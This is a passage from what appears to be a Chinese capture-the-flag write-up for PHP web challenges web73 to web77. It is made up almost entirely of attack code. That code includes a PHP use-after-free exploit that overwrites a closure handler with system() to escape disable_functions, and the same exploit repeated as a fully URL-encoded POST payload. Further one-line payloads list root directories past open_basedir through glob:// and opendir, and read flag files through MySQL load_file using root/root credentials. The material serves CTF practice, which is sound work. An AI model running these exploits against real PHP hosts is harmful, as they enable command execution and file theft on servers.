    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}

为了方便传post,直接全部进行URL编码

%3f%3e%3c%3f%70%68%70%0d%0a%70%77%6e%28%22%6c%73%20%2f%3b%63%61%74%20%2f%66%6c%61%67%30%2e%74%78%74%22%29%3b%0d%0a%0d%0a%66%75%6e%63%74%69%6f%6e%20%70%77%6e%28%24%63%6d%64%29%20%7b%0d%0a%20%20%20%20%67%6c%6f%62%61%6c%20%24%61%62%63%2c%20%24%68%65%6c%70%65%72%2c%20%24%62%61%63%6b%74%72%61%63%65%3b%0d%0a%20%20%20%20%63%6c%61%73%73%20%56%75%6c%6e%20%7b%0d%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%24%61%3b%0d%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%66%75%6e%63%74%69%6f%6e%20%5f%5f%64%65%73%74%72%75%63%74%28%29%20%7b%20%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%67%6c%6f%62%61%6c%20%24%62%61%63%6b%74%72%61%63%65%3b%20%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%75%6e%73%65%74%28%24%74%68%69%73%2d%3e%61%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%62%61%63%6b%74%72%61%63%65%20%3d%20%28%6e%65%77%20%45%78%63%65%70%74%69%6f%6e%29%2d%3e%67%65%74%54%72%61%63%65%28%29%3b%20%23%20%3b%29%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%21%69%73%73%65%74%28%24%62%61%63%6b%74%72%61%63%65%5b%31%5d%5b%27%61%72%67%73%27%5d%29%29%20%7b%20%23%20%50%48%50%20%3e%3d%20%37%2e%34%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%62%61%63%6b%74%72%61%63%65%20%3d%20%64%65%62%75%67%5f%62%61%63%6b%74%72%61%63%65%28%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%63%6c%61%73%73%20%48%65%6c%70%65%72%20%7b%0d%0a%20%20%20%20%20%20%20%20%70%75%62%6c%69%63%20%24%61%2c%20%24%62%2c%20%24%63%2c%20%24%64%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%73%74%72%32%70%74%72%28%26%24%73%74%72%2c%20%24%70%20%3d%20%30%2c%20%24%73%20%3d%20%38%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%24%61%64%64%72%65%73%73%20%3d%20%30%3b%0d%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%6a%20%3d%20%24%73%2d%31%3b%20%24%6a%20%3e%3d%20%30%3b%20%24%6a%2d%2d%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%65%73%73%20%3c%3c%3d%20%38%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%65%73%73%20%7c%3d%20%6f%72%64%28%24%73%74%72%5b%24%70%2b%24%6a%5d%29%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%61%64%64%72%65%73%73%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%74%72%32%73%74%72%28%24%70%74%72%2c%20%24%6d%20%3d%20%38%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%24%6f%75%74%20%3d%20%22%22%3b%0d%0a%20%20%20%20%20%20%20%20%66%6f%72%20%28%24%69%3d%30%3b%20%24%69%20%3c%20%24%6d%3b%20%24%69%2b%2b%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6f%75%74%20%2e%3d%20%73%70%72%69%6e%74%66%28%27%25%63%27%2c%24%70%74%72%20%26%20%30%78%66%66%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%74%72%20%3e%3e%3d%20%38%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%6f%75%74%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%77%72%69%74%65%28%26%24%73%74%72%2c%20%24%70%2c%20%24%76%2c%20%24%6e%20%3d%20%38%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%24%69%20%3d%20%30%3b%0d%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%6e%3b%20%24%69%2b%2b%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%73%74%72%5b%24%70%20%2b%20%24%69%5d%20%3d%20%73%70%72%69%6e%74%66%28%27%25%63%27%2c%24%76%20%26%20%30%78%66%66%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%76%20%3e%3e%3d%20%38%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%6c%65%61%6b%28%24%61%64%64%72%2c%20%24%70%20%3d%20%30%2c%20%24%73%20%3d%20%38%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%67%6c%6f%62%61%6c%20%24%61%62%63%2c%20%24%68%65%6c%70%65%72%3b%0d%0a%20%20%20%20%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%36%38%2c%20%24%61%64%64%72%20%2b%20%24%70%20%2d%20%30%78%31%30%29%3b%0d%0a%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%73%74%72%6c%65%6e%28%24%68%65%6c%70%65%72%2d%3e%61%29%3b%0d%0a%20%20%20%20%20%20%20%20%69%66%28%24%73%20%21%3d%20%38%29%20%7b%20%24%6c%65%61%6b%20%25%3d%20%32%20%3c%3c%20%28%24%73%20%2a%20%38%29%20%2d%20%31%3b%20%7d%0d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%6c%65%61%6b%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%61%72%73%65%5f%65%6c%66%28%24%62%61%73%65%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%24%65%5f%74%79%70%65%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%31%30%2c%20%32%29%3b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%24%65%5f%70%68%6f%66%66%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%32%30%29%3b%0d%0a%20%20%20%20%20%20%20%20%24%65%5f%70%68%65%6e%74%73%69%7a%65%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%33%36%2c%20%32%29%3b%0d%0a%20%20%20%20%20%20%20%20%24%65%5f%70%68%6e%75%6d%20%3d%20%6c%65%61%6b%28%24%62%61%73%65%2c%20%30%78%33%38%2c%20%32%29%3b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%65%5f%70%68%6e%75%6d%3b%20%24%69%2b%2b%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%68%65%61%64%65%72%20%3d%20%24%62%61%73%65%20%2b%20%24%65%5f%70%68%6f%66%66%20%2b%20%24%69%20%2a%20%24%65%5f%70%68%65%6e%74%73%69%7a%65%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%74%79%70%65%20%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%30%2c%20%34%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%66%6c%61%67%73%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%34%2c%20%34%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%76%61%64%64%72%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%30%78%31%30%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%70%5f%6d%65%6d%73%7a%20%3d%20%6c%65%61%6b%28%24%68%65%61%64%65%72%2c%20%30%78%32%38%29%3b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%70%5f%74%79%70%65%20%3d%3d%20%31%20%26%26%20%24%70%5f%66%6c%61%67%73%20%3d%3d%20%36%29%20%7b%20%23%20%50%54%5f%4c%4f%41%44%2c%20%50%46%5f%52%65%61%64%5f%57%72%69%74%65%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%23%20%68%61%6e%64%6c%65%20%70%69%65%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%61%74%61%5f%61%64%64%72%20%3d%20%24%65%5f%74%79%70%65%20%3d%3d%20%32%20%3f%20%24%70%5f%76%61%64%64%72%20%3a%20%24%62%61%73%65%20%2b%20%24%70%5f%76%61%64%64%72%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%61%74%61%5f%73%69%7a%65%20%3d%20%24%70%5f%6d%65%6d%73%7a%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%65%6c%73%65%20%69%66%28%24%70%5f%74%79%70%65%20%3d%3d%20%31%20%26%26%20%24%70%5f%66%6c%61%67%73%20%3d%3d%20%35%29%20%7b%20%23%20%50%54%5f%4c%4f%41%44%2c%20%50%46%5f%52%65%61%64%5f%65%78%65%63%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%74%65%78%74%5f%73%69%7a%65%20%3d%20%24%70%5f%6d%65%6d%73%7a%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%20%20%20%20%69%66%28%21%24%64%61%74%61%5f%61%64%64%72%20%7c%7c%20%21%24%74%65%78%74%5f%73%69%7a%65%20%7c%7c%20%21%24%64%61%74%61%5f%73%69%7a%65%29%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%66%61%6c%73%65%3b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%5b%24%64%61%74%61%5f%61%64%64%72%2c%20%24%74%65%78%74%5f%73%69%7a%65%2c%20%24%64%61%74%61%5f%73%69%7a%65%5d%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%67%65%74%5f%62%61%73%69%63%5f%66%75%6e%63%73%28%24%62%61%73%65%2c%20%24%65%6c%66%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%6c%69%73%74%28%24%64%61%74%61%5f%61%64%64%72%2c%20%24%74%65%78%74%5f%73%69%7a%65%2c%20%24%64%61%74%61%5f%73%69%7a%65%29%20%3d%20%24%65%6c%66%3b%0d%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%64%61%74%61%5f%73%69%7a%65%20%2f%20%38%3b%20%24%69%2b%2b%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%64%61%74%61%5f%61%64%64%72%2c%20%24%69%20%2a%20%38%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3e%20%30%20%26%26%20%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3c%20%24%64%61%74%61%5f%61%64%64%72%20%2d%20%24%62%61%73%65%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%65%72%65%66%20%3d%20%6c%65%61%6b%28%24%6c%65%61%6b%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%23%20%27%63%6f%6e%73%74%61%6e%74%27%20%63%6f%6e%73%74%61%6e%74%20%63%68%65%63%6b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%64%65%72%65%66%20%21%3d%20%30%78%37%34%36%65%36%31%37%34%37%33%36%65%36%66%36%33%29%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6f%6e%74%69%6e%75%65%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%65%6c%73%65%20%63%6f%6e%74%69%6e%75%65%3b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%64%61%74%61%5f%61%64%64%72%2c%20%28%24%69%20%2b%20%34%29%20%2a%20%38%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3e%20%30%20%26%26%20%24%6c%65%61%6b%20%2d%20%24%62%61%73%65%20%3c%20%24%64%61%74%61%5f%61%64%64%72%20%2d%20%24%62%61%73%65%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%64%65%72%65%66%20%3d%20%6c%65%61%6b%28%24%6c%65%61%6b%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%23%20%27%62%69%6e%32%68%65%78%27%20%63%6f%6e%73%74%61%6e%74%20%63%68%65%63%6b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%64%65%72%65%66%20%21%3d%20%30%78%37%38%36%35%36%38%33%32%36%65%36%39%36%32%29%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%63%6f%6e%74%69%6e%75%65%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%20%65%6c%73%65%20%63%6f%6e%74%69%6e%75%65%3b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%64%61%74%61%5f%61%64%64%72%20%2b%20%24%69%20%2a%20%38%3b%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%67%65%74%5f%62%69%6e%61%72%79%5f%62%61%73%65%28%24%62%69%6e%61%72%79%5f%6c%65%61%6b%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%24%62%61%73%65%20%3d%20%30%3b%0d%0a%20%20%20%20%20%20%20%20%24%73%74%61%72%74%20%3d%20%24%62%69%6e%61%72%79%5f%6c%65%61%6b%20%26%20%30%78%66%66%66%66%66%66%66%66%66%66%66%66%66%30%30%30%3b%0d%0a%20%20%20%20%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%30%78%31%30%30%30%3b%20%24%69%2b%2b%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%20%3d%20%24%73%74%61%72%74%20%2d%20%30%78%31%30%30%30%20%2a%20%24%69%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%61%64%64%72%2c%20%30%2c%20%37%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%6c%65%61%6b%20%3d%3d%20%30%78%31%30%31%30%32%34%36%34%63%34%35%37%66%29%20%7b%20%23%20%45%4c%46%20%68%65%61%64%65%72%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%24%61%64%64%72%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%67%65%74%5f%73%79%73%74%65%6d%28%24%62%61%73%69%63%5f%66%75%6e%63%73%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%24%61%64%64%72%20%3d%20%24%62%61%73%69%63%5f%66%75%6e%63%73%3b%0d%0a%20%20%20%20%20%20%20%20%64%6f%20%7b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%66%5f%65%6e%74%72%79%20%3d%20%6c%65%61%6b%28%24%61%64%64%72%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%66%5f%6e%61%6d%65%20%3d%20%6c%65%61%6b%28%24%66%5f%65%6e%74%72%79%2c%20%30%2c%20%36%29%3b%0d%0a%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%69%66%28%24%66%5f%6e%61%6d%65%20%3d%3d%20%30%78%36%64%36%35%37%34%37%33%37%39%37%33%29%20%7b%20%23%20%73%79%73%74%65%6d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%6c%65%61%6b%28%24%61%64%64%72%20%2b%20%38%29%3b%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20%24%61%64%64%72%20%2b%3d%20%30%78%32%30%3b%0d%0a%20%20%20%20%20%20%20%20%7d%20%77%68%69%6c%65%28%24%66%5f%65%6e%74%72%79%20%21%3d%20%30%29%3b%0d%0a%20%20%20%20%20%20%20%20%72%65%74%75%72%6e%20%66%61%6c%73%65%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%74%72%69%67%67%65%72%5f%75%61%66%28%24%61%72%67%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%23%20%73%74%72%5f%73%68%75%66%66%6c%65%20%70%72%65%76%65%6e%74%73%20%6f%70%63%61%63%68%65%20%73%74%72%69%6e%67%20%69%6e%74%65%72%6e%69%6e%67%0d%0a%20%20%20%20%20%20%20%20%24%61%72%67%20%3d%20%73%74%72%5f%73%68%75%66%66%6c%65%28%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%27%29%3b%0d%0a%20%20%20%20%20%20%20%20%24%76%75%6c%6e%20%3d%20%6e%65%77%20%56%75%6c%6e%28%29%3b%0d%0a%20%20%20%20%20%20%20%20%24%76%75%6c%6e%2d%3e%61%20%3d%20%24%61%72%67%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%69%66%28%73%74%72%69%73%74%72%28%50%48%50%5f%4f%53%2c%20%27%57%49%4e%27%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%64%69%65%28%27%54%68%69%73%20%50%6f%43%20%69%73%20%66%6f%72%20%2a%6e%69%78%20%73%79%73%74%65%6d%73%20%6f%6e%6c%79%2e%27%29%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%24%6e%5f%61%6c%6c%6f%63%20%3d%20%31%30%3b%20%23%20%69%6e%63%72%65%61%73%65%20%74%68%69%73%20%76%61%6c%75%65%20%69%66%20%55%41%46%20%66%61%69%6c%73%0d%0a%20%20%20%20%24%63%6f%6e%74%69%67%75%6f%75%73%20%3d%20%5b%5d%3b%0d%0a%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%24%6e%5f%61%6c%6c%6f%63%3b%20%24%69%2b%2b%29%0d%0a%20%20%20%20%20%20%20%20%24%63%6f%6e%74%69%67%75%6f%75%73%5b%5d%20%3d%20%73%74%72%5f%73%68%75%66%66%6c%65%28%27%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%27%29%3b%0d%0a%0d%0a%20%20%20%20%74%72%69%67%67%65%72%5f%75%61%66%28%27%78%27%29%3b%0d%0a%20%20%20%20%24%61%62%63%20%3d%20%24%62%61%63%6b%74%72%61%63%65%5b%31%5d%5b%27%61%72%67%73%27%5d%5b%30%5d%3b%0d%0a%0d%0a%20%20%20%20%24%68%65%6c%70%65%72%20%3d%20%6e%65%77%20%48%65%6c%70%65%72%3b%0d%0a%20%20%20%20%24%68%65%6c%70%65%72%2d%3e%62%20%3d%20%66%75%6e%63%74%69%6f%6e%20%28%24%78%29%20%7b%20%7d%3b%0d%0a%0d%0a%20%20%20%20%69%66%28%73%74%72%6c%65%6e%28%24%61%62%63%29%20%3d%3d%20%37%39%20%7c%7c%20%73%74%72%6c%65%6e%28%24%61%62%63%29%20%3d%3d%20%30%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%55%41%46%20%66%61%69%6c%65%64%22%29%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%23%20%6c%65%61%6b%73%0d%0a%20%20%20%20%24%63%6c%6f%73%75%72%65%5f%68%61%6e%64%6c%65%72%73%20%3d%20%73%74%72%32%70%74%72%28%24%61%62%63%2c%20%30%29%3b%0d%0a%20%20%20%20%24%70%68%70%5f%68%65%61%70%20%3d%20%73%74%72%32%70%74%72%28%24%61%62%63%2c%20%30%78%35%38%29%3b%0d%0a%20%20%20%20%24%61%62%63%5f%61%64%64%72%20%3d%20%24%70%68%70%5f%68%65%61%70%20%2d%20%30%78%63%38%3b%0d%0a%0d%0a%20%20%20%20%23%20%66%61%6b%65%20%76%61%6c%75%65%0d%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%36%30%2c%20%32%29%3b%0d%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%37%30%2c%20%36%29%3b%0d%0a%0d%0a%20%20%20%20%23%20%66%61%6b%65%20%72%65%66%65%72%65%6e%63%65%0d%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%31%30%2c%20%24%61%62%63%5f%61%64%64%72%20%2b%20%30%78%36%30%29%3b%0d%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%31%38%2c%20%30%78%61%29%3b%0d%0a%0d%0a%20%20%20%20%24%63%6c%6f%73%75%72%65%5f%6f%62%6a%20%3d%20%73%74%72%32%70%74%72%28%24%61%62%63%2c%20%30%78%32%30%29%3b%0d%0a%0d%0a%20%20%20%20%24%62%69%6e%61%72%79%5f%6c%65%61%6b%20%3d%20%6c%65%61%6b%28%24%63%6c%6f%73%75%72%65%5f%68%61%6e%64%6c%65%72%73%2c%20%38%29%3b%0d%0a%20%20%20%20%69%66%28%21%28%24%62%61%73%65%20%3d%20%67%65%74%5f%62%69%6e%61%72%79%5f%62%61%73%65%28%24%62%69%6e%61%72%79%5f%6c%65%61%6b%29%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%64%65%74%65%72%6d%69%6e%65%20%62%69%6e%61%72%79%20%62%61%73%65%20%61%64%64%72%65%73%73%22%29%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%69%66%28%21%28%24%65%6c%66%20%3d%20%70%61%72%73%65%5f%65%6c%66%28%24%62%61%73%65%29%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%70%61%72%73%65%20%45%4c%46%20%68%65%61%64%65%72%22%29%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%69%66%28%21%28%24%62%61%73%69%63%5f%66%75%6e%63%73%20%3d%20%67%65%74%5f%62%61%73%69%63%5f%66%75%6e%63%73%28%24%62%61%73%65%2c%20%24%65%6c%66%29%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%67%65%74%20%62%61%73%69%63%5f%66%75%6e%63%74%69%6f%6e%73%20%61%64%64%72%65%73%73%22%29%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%69%66%28%21%28%24%7a%69%66%5f%73%79%73%74%65%6d%20%3d%20%67%65%74%5f%73%79%73%74%65%6d%28%24%62%61%73%69%63%5f%66%75%6e%63%73%29%29%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%64%69%65%28%22%43%6f%75%6c%64%6e%27%74%20%67%65%74%20%7a%69%66%5f%73%79%73%74%65%6d%20%61%64%64%72%65%73%73%22%29%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%23%20%66%61%6b%65%20%63%6c%6f%73%75%72%65%20%6f%62%6a%65%63%74%0d%0a%20%20%20%20%24%66%61%6b%65%5f%6f%62%6a%5f%6f%66%66%73%65%74%20%3d%20%30%78%64%30%3b%0d%0a%20%20%20%20%66%6f%72%28%24%69%20%3d%20%30%3b%20%24%69%20%3c%20%30%78%31%31%30%3b%20%24%69%20%2b%3d%20%38%29%20%7b%0d%0a%20%20%20%20%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%24%66%61%6b%65%5f%6f%62%6a%5f%6f%66%66%73%65%74%20%2b%20%24%69%2c%20%6c%65%61%6b%28%24%63%6c%6f%73%75%72%65%5f%6f%62%6a%2c%20%24%69%29%29%3b%0d%0a%20%20%20%20%7d%0d%0a%0d%0a%20%20%20%20%23%20%70%77%6e%0d%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%32%30%2c%20%24%61%62%63%5f%61%64%64%72%20%2b%20%24%66%61%6b%65%5f%6f%62%6a%5f%6f%66%66%73%65%74%29%3b%0d%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%64%30%20%2b%20%30%78%33%38%2c%20%31%2c%20%34%29%3b%20%23%20%69%6e%74%65%72%6e%61%6c%20%66%75%6e%63%20%74%79%70%65%0d%0a%20%20%20%20%77%72%69%74%65%28%24%61%62%63%2c%20%30%78%64%30%20%2b%20%30%78%36%38%2c%20%24%7a%69%66%5f%73%79%73%74%65%6d%29%3b%20%23%20%69%6e%74%65%72%6e%61%6c%20%66%75%6e%63%20%68%61%6e%64%6c%65%72%0d%0a%0d%0a%20%20%20%20%28%24%68%65%6c%70%65%72%2d%3e%62%29%28%24%63%6d%64%29%3b%0d%0a%20%20%20%20%65%78%69%74%28%29%3b%0d%0a%7d

0x2C web73

open_basedir,似乎只是禁用了些函数

glob伪协议scandir()opendir()读目录

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}include("/flagc.txt");exit(0);

或者

c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };include("/flagc.txt");exit();

c=$a=scandir("/");foreach($a as $value){echo $value."   ";}include("/flagc.txt");exit();

0x2D web74

scandir()被禁用

c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };include("/flagx.txt");exit(); 

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}include("/flagx.txt");exit(0);

0x2F web75

open_basedir限制在/var/www/html/,导致include失败

看羽师傅的居然利用mysql load_file读文件

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|";}$dbh = null;} catch (PDOException $e) {echo $e->getMessage();die();}die();

原始版本:

<?php
try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
    foreach($dbh->query('select load_file("/flagx.txt")') as $row) {
        echo($row[0])."|";
    }
    $dbh = null;
  } catch (PDOException $e) {
    echo $e->getMessage();
    die();
  }

听群主说,dbname的值从上下题中找到,如sql注入,shell

0x30 web76

还是利用mysql load_file读文件

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|";}$dbh = null;} catch (PDOException $e) {echo $e->getMessage();die();}die();

0x31 web77

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);

得到两个特殊文件名:flag36x.txt readflag

但有open_basedir在,不能include

